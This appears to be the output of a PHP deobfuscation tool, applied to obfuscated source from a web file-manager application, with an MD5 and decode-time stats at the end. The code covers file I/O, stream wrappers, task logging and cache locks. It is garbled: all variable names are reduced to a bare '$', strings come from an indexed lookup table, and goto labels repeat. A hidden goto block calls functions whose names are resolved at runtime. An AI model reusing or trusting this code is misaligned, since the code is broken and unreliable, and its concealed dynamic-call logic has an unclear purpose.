[$_SERVER[][79]]; } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $th
is->infoParse($); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($) { re
turn $this->infoParse($); } private function infoParse($) { $ =& $_SERVER[]; $ = $this->header($); if (!$ ||
!$[$[823]]) { return !1; } $ = _get($, $[422], 0); $ = array($[32] => $[$[32]], $[87] => $,
$[33] => $[230], $[79] => intval($), $[169] => get_path_ext($[$[32]]), $[1449] => $ > 0 && $[$
[1599]], $[1450] => !1); return $; } private function header($) { $ =& $_SERVER[]; if (isset(self::$_cacheHeader[$
])) { return self::$_cacheHeader[$]; } $ = isset($GLOBALS[$[1600]]) ? $GLOBALS[$[1600]] : !1; $GLOBALS[$[1600]] = !
0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$[1600]] = $; return self::$_cacheHeader[$]; } public function h
ashSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->info($); if (!$ || !$[$[232]]) { ret
urn !1; } $ = $[$[79]]; $ = 200; $ = 50; if ($ <= $ * $) { return md5($this->fileSubstr($, 0, $
)) . $; } $ = intval($ / $); $ = $[12]; $ = timeFloat(); $ = 15; for ($ = 0; $ <
$; $++) { if (timeFloat() - $ > $) { return !1; } $ = $this->fileSubstr($, $ * $, $); if (!$
) { return !1; } $ .= $; } $ .= $this->fileSubstr($, $ - $, $); return md5($) . $; }
public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($, $ = 0, $ = -1) { $ =
& $_SERVER[]; $ = $this->info($); if (!$ || !$[$[232]] && $[$[79]] > 1024 * 1024 * 10) { return !1; } if (
$ === -1) { $ = $[$[79]]; } if ($ == 0) { return $[12]; } $ = array($[1601] . $ . $[858] . ($
 + $ - 1)); $ = url_request($, $[261], !1, $, !1, !1, 30); return $[$[1283]] ? $[$[1283]]
: $[12]; } public function download($, $) { Downloader::start($, $); return $; } } class StreamWrapperIO { private
$path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function str
eam_open($, $ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[]
[87]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::
$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pat
hOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose
+= strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($, $) { $
 =& $_SERVER[]; if ($ == SEEK_SET) { $this->pose = $; } else { if ($ == SEEK_CUR) { $this->pose += $; } else {
if ($ == SEEK_END) { $this->pose = $this->info[$[79]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[
79]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][79]]; } public function strea
m_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($, $) { $ =& $_SERVER[];
$ = $this->info($); return array($[1602] => 0, $[1603] => 0, $[16] => 32768 + 511, $[1604] => 0, $[16
05] => 0, $[1606] => 0, $[1607] => 0, $[79] => $[$[79]], $[1608] => $[$[1448]], $[1564] => $
[$[88]], $[1563] => $[$[231]], $[1609] => 0, $[1610] => 0); } static $fileInfo = array(); public functio
n info($) { $ = $_SERVER[][1611]; if (isset(self::$fileInfo[$])) { return self::$fileInfo[$]; } if (substr($,
0, strlen($)) != $) { return !1; } self::$fileInfo[$] = IO::info(substr($, strlen($))); return self::$fileInfo[$
]; } public static function read($, $, $) { if (!isset(self::$_fopenCache[$])) { $ = new StreamWrapperIO(); $->
stream_open($); self::$_fopenCache[$] = $; } $ = self::$_fopenCache[$]; return $->fileSubstr($, $); } publ
ic static function _read($, $, $) { $ =& $_SERVER[]; $ = fopen($, $[1452]); if (!$) { return
$[12]; } $ = 8192; fseek($, $, SEEK_SET); $ = $[12]; $ = 0; while ($ < $) { $ = min($
, $ - $); $ .= fread($, $); $ += $; } fclose($); return $; } public function fileSubstr($
, $) { $ =& $_SERVER[]; $ = $this->info[$[79]]; $ = $; $ = $; if ($ < 0) { $ = $ +
$; } if ($ === !1) { $ = $ - $; } if ($ + $ > $) { $ = $ - $; } if ($ <= 0) { retur
n $[12]; } if ($ < 0 || $ >= $ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\x69\157\106\151\x6c\x6
5\x52\x65\141\x64\40\145\162\x72\157\162\x21\x20\x73\x74\141\x72\x74\x3d{$}\73\x6c\x65\x6e\x67\x74\x68\x3d{$}\73\40\163\151\172\14
5\x3d{$}\73"); } $ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $ = 0; $
 = 0; $ = $[12]; foreach ($ as $ => $) { $ = intval($); $ = $ + strlen($); if
($ >= $) { continue; } if ($ >= $ && $ + $ <= $) { return substr($, $ - $, $); }
break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1612], $[1613] . count($) . "\73\x7
3\x74\141\162\x74\75{$}\54\x6c\145\156\147\x74\150\75{$}\73\160\x6f\163\x65\x3a{$}\176{$}"); throw new Exception($
[1614]); } $ = intval($ / $) * $; $ = ceil(($ + $) / $) * $ - $; $ = IO::fileSubstr(
$this->path, $, $); $[$ . $[12]] = $; ksort($); $ = substr($, $ - $, $); return $
; } private function log($, $) { $ =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($
[1615], $, $this->info[$[32]], $, $), $[1260]); } } class Message { function __construct() { } public function sen
d($ = '', $ = array(), $ = "\x74\x65\x78\x74") { $ =& $_SERVER[]; $ = array($[33] => $[1616], $
[171] => $); if (in_array($, array($[1616], $[1617]))) { $[$[33]] = $; } $ = array($[586] =
> isset($[$[586]]) ? $[$[586]] : $[12], $[670] => isset($[$[670]]) ? $[$[670]] : $[12
]); if (empty($) || empty($[$[586]]) && empty($[$[670]])) { return !1; } $ = array($[1544] => $, $
[1618] => $); Hook::trigger($[1619], $); } } goto b; F: class TaskHttp extends Task { protected function star
tAfter() { $ =& $_SERVER[]; $ =& $this->task; $[$[1841]] = 1; Hook::bind($[1809], array($this, $[1842]));
Hook::bind($[1811], array($this, $[1843])); Hook::bind($[1813], array($this, $[1844])); } protected function endAfter()
{ $ =& $_SERVER[]; Hook::unbind($[1809], array($this, $[1842])); Hook::unbind($[1811], array($this, $[1843])); Hoo
k::unbind($[1813], array($this, $[1844])); } public function progressStart($) { $ =& $_SERVER[]; $ = curl_geti
nfo($); self::log($[1845] . $[$[392]]); self::valueSet($this->task[$[483]], $this->task); } public function prog
ressEnd($
, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[1137]] = $[$
[1137]] == 0 ? $ : $[$[1137]]; $[$[1765]] = $; } else { if ($ > 0) { $[$[1137]] = $[$[
1137]] == 0 ? $ : $[$[1137]]; $[$[1765]] = $; } } $this->update(); self::log("\x70\162\x6f\147\x72\145\x73\x73\
110\164\164\x70\x3a\144\157\x77\156\72{$}\57{$}\73\x20\x75\160\154\x6f\x61\x64\72{$}\57{$}\x3b"); } } class TaskLog { priv
ate $task; private $taskID; private $isEnd = false; static function newTask($, $ = '', $ = 0, $ = '') { $ =& $_SERVER
[]; $ = $ ? $ : ($ ? $ : $); $ = new Task($, $, $, $); $GLOBALS[$[1847] .
$] = new TaskLog($[1748], $, $); return $; } public function __construct($ = '', $ = '', $ = '') { $
 =& $_SERVER[]; if (!$) { $ = $[1748]; } $ = $ . $[470] . rand_string(10); if (!$) { $ = $ . $
[53] . $; } switch ($) { case $[1748]: if (!$ || !$->task) { return echoLog($ . $[1848]); } $ = $
; $ = $->task[$[483]]; $ = $->task[$[483]]; if (!$->task[$[1653]]) { $->task[$[1653
]] = $ ? $ : $; } break; case $[1849]: if (!$) { return echoLog($ . $[1850]); } $ = is_string($) ?
array($) : $; $ = new TaskFileTransfer($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addP
ath($); } break; case $[398]: if (!$) { return echoLog($ . $[1850]); } $ = is_string($) ? array($) :
$; $ = new TaskZip($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addPath($); } break; ca
se $[1295]: if (!$) { return echoLog($ . $[1850]); } $ = new TaskUnZip($, $, 0, $ ? $ : $); if
($) { $->addFile($); } break; case $[152]: $ = new TaskHttp($, $); break; default: return; break; } $this
->task = $; $this->taskID = $; Hook::bind($[1785], array($this, $[1851])); Hook::bind($[1787], array($this, $
[1852])); Hook::bind($[1781], array($this, $[1853])); echoLog($[1854] . $->task[$[1653]]); } public function
__destruct() { $this->end(); } public function end($ = '') { $ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->tas
k || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($); $this->task = !1; $this->taskID = !1; Hook::unbind($[1785
], array($this, $[1851])); Hook::unbind($[1787], array($this, $[1852])); Hook::unbind($[1781], array($this, $[1853]
)); } public function taskUpdate($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[483]]) { return; } $ = 20;
$ = intval($[$[1766]] * $); $ = $[176] . str_repeat($[958], $) . $[1088] . str_repeat($[53], $ - $
) . $[178]; $ = $ . sprintf($[1855], $[$[1766]] * 100) . $[1856]; $ = $ . $[$[1765]] . $[8]
. $[$[1137]] . LNG($[1857]); $ = $[12]; if ($[$[1841]]) { $ = $ . size_format($[$[1765]]) . $[8] .
size_format($[$[1137]]); $ = size_format($[$[1767]]) . $[1858]; } if ($[$[1139]]) { $[$[1815]] = $[$[11
39]] . $[53] . $[$[1815]]; } if ($[$[1815]]) { $ = $[12]; if ($[$[1817]]) { $ = $[50] . size_format($[
$[1818]]) . $[8] . size_format($[$[1817]]); } $ .= $[$[1815]] . $; } if ($[$[836]] && !$[$[1817]]) { $
 .= $[53] . size_format($[$[1822]]) . $[8] . size_format($[$[836]]); } echoLog($ . $[53] . $, !0); } publi
c function taskEnd($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[483]]) { return; } $ = $ ?
$[$[1765]] . $[8] . $[$[1137]] . LNG($[1857]) . $[74] : $[12]; echoLog($[1859] . $[$[
1653]] . ($[$[534]] ? $[74] . $[$[534]] : $[12]) . $[74] . $ . $[1860] . sprintf($[924], t
imeFloat() - $[$[1768]]) . $[1780]); $this->end(); } public function taskKill($) { $ =& $_SERVER[]; if (!$
 || $this->taskID != $[$[483]]) { return; } echoLog($[1861] . $[$[1653]]); } } $_file = $_SERVER[$_SERVER[][322
]]; goto b; d: if ($_SERVER[$_SERVER[][321]] != $_SERVER[$_SERVER[][913]]) { $_getc = $_SERVER[][323]; $_getfile
= $_SERVER[$_SERVER[][324]] . $_SERVER[][325]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getf
ilec); if (count($_getarrs) < $_SERVER[][326]) { $exit = $_SERVER[][327]; $exit(); } $_act = $_SERVER[][328]; $_act($_SERV
ER[$_SERVER[][322]]); } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protec
ted static $lockItem = array(); public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $
 = $GLOBALS[$[6]][$[434]]; self::$timeout = $[$[914]] ? $[$[914]] : 10; $ = _get($GLOBALS[$[6]
], $[915]); $ = $[$[899]] ? $[$[899]] : $[230]; if ($ == $[21] && $ == $[13]) { $
 = $[230]; } switch ($) { case $[902]: self::$handle = new CacheLockRedis(); break; case $[903]: self::$handle = new
CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[230]: self::$handle = new CacheLoc
kFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[916], $[917]); } return self::$handle; } private static
function key($) { return $_SERVER[][918] . Cache::key($); } public static function initReset() { self::$handle = !1; } pub
lic static function setErrorMsg($ = '') { self::$errorMsg = $; } public static function lockGlobal($, $) { return self::lock($
, $, !0); } public static function lock($, $ = false, $ = false) { $ =& $_SERVER[]; $ = self::init();
$ = self::key($); $ = $ ? $ : self::$timeout; $ = timeFloat(); $ = $->lock($, $); $ =
timeFloat(); if (!$) { $ = "\154\157\143\153\40\x65\x72\162\x6f\162\x3b\153\x65\x79\x3d{$}\73\164\x69\x6d\145\75{$}\7
3" . self::$errorMsg . $[74] . get_caller_msg(); $ = LNG($[919]) . "\50{$}\x73\51\x2e" . LNG($[920]); $ .= $[
921]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $[922] . self::$errorMsg; } write_log($[923] . sprintf($
[924], timeFloat() - $) . $[925] . $ . $[926] . error_get_last(), $[917]); show_json($, !1); } if (!$
) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $, 3); write_log($[927] . $
 . $[928] . $, $[917]); } return $; } public static function lockGet($) { $ = self::key($); if (self::
$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $ =
& $_SERVER[]; $ = self::key($); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write
_log($[929] . $, $[917]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $ = self::init
(); $ = !1; foreach (self::$lockItem as $ => $) { if (!$) { continue; } $->unlock($); if (!$) { $
= !0; write_log($[930] . $ . $[74] . get_caller_msg(), $[917]); continue; } write_log($[930] . $, $[917]); }
self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[931] . $ . $
[932] . ACTION, $[917]); } } public static function fileLock($) { $ =& $_SERVER[]; if (!$GLOBALS[$[933]]) { $GL
OBALS[$[933]] = array(); } $GLOBALS[$[933]][$] = !1; $ = fopen(DATA_PATH . $ . $[934], $[935]); if (!$
) { return !1; } $GLOBALS[$[933]][$] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($); show_json($
[936], !1); return !1; } public static function fileUnlock($) { $ =& $_SERVER[]; $ = $GLOBALS[$[933]][$]; if (!$
) { return; } $GLOBALS[$[933]][$] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ =
& $_SERVER[]; if (!isset($GLOBALS[$[933]]) || !$GLOBALS[$[933]]) { return; } foreach ($GLOBALS[$[933]] as $ => $
) { if (!$) { continue; } $GLOBALS[$[933]][$] = !1; flock($, LOCK_UN); fclose($); } $GLOBALS[$[933]] = ar
ray(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto a; d: class UserTagSourceModel extends ModelBase { prote
cted $tableName = "\x75\163\145\162\137\x66\141\166"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return arr
ay($[2078] => array($[2493] . USER_ID, $[2079])); } protected function listData() { $ =& $_SERVER[]; $ = arra
y($[1755] => USER_ID, $[565] => array($[2082], 0)); $ = $[2494]; $ = $this->field($)->where($)->orde
r($[2085])->select(); return $ ? $ : array(); } protected function addToTag($, $) { $ =& $_SERVER[]; if
(!Model($[2229])->listData($)) { return !1; } if (is_numeric($)) { $ = Model($[897])->pathInfo($); if (!$) {
return !1; } } else { $ = IO::infoSimple($); if (!$) { return !1; } $ = $[$[32]]; $ = $[$[33]]; if (
isset($[$[493]])) { $ = $[$[493]] == $[91] ? $[78] : $[230]; } } $ = array($[1755] => US
ER_ID, $[565] => $, $[503] => $, $[504] => $ ? $ : $[498], $[502] => $ ? $ : $
[12], $[1967] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag
($, $) { $ =& $_SERVER[]; if (!Model($[2229])->listData($)) { return !1; } if (is_array($)) { $
= array($[7], $); } $ = array($[1755] => USER_ID, $[565] => $, $[503] => $); return $this->where($
)->delete(); } protected function removeByTag($) { $ =& $_SERVER[]; if (!$) { return !1; } $ = array($[175
5] => USER_ID, $[565] => $); return $this->where($)->delete(); } protected function removeBySource($) { $ =& $_SERVER[
]; if (is_array($)) { $ = array($[7], $); } $ = array($[1755] => USER_ID, $[565] => array($[1088], 0), $
[503] => $); return $this->where($)->delete(); } }

Function Calls

None

Variables

None

Stats

MD5 f0b1b04ab26885abf5d15ed7fd4e13d8
Eval Count 0
Decode Time 632 ms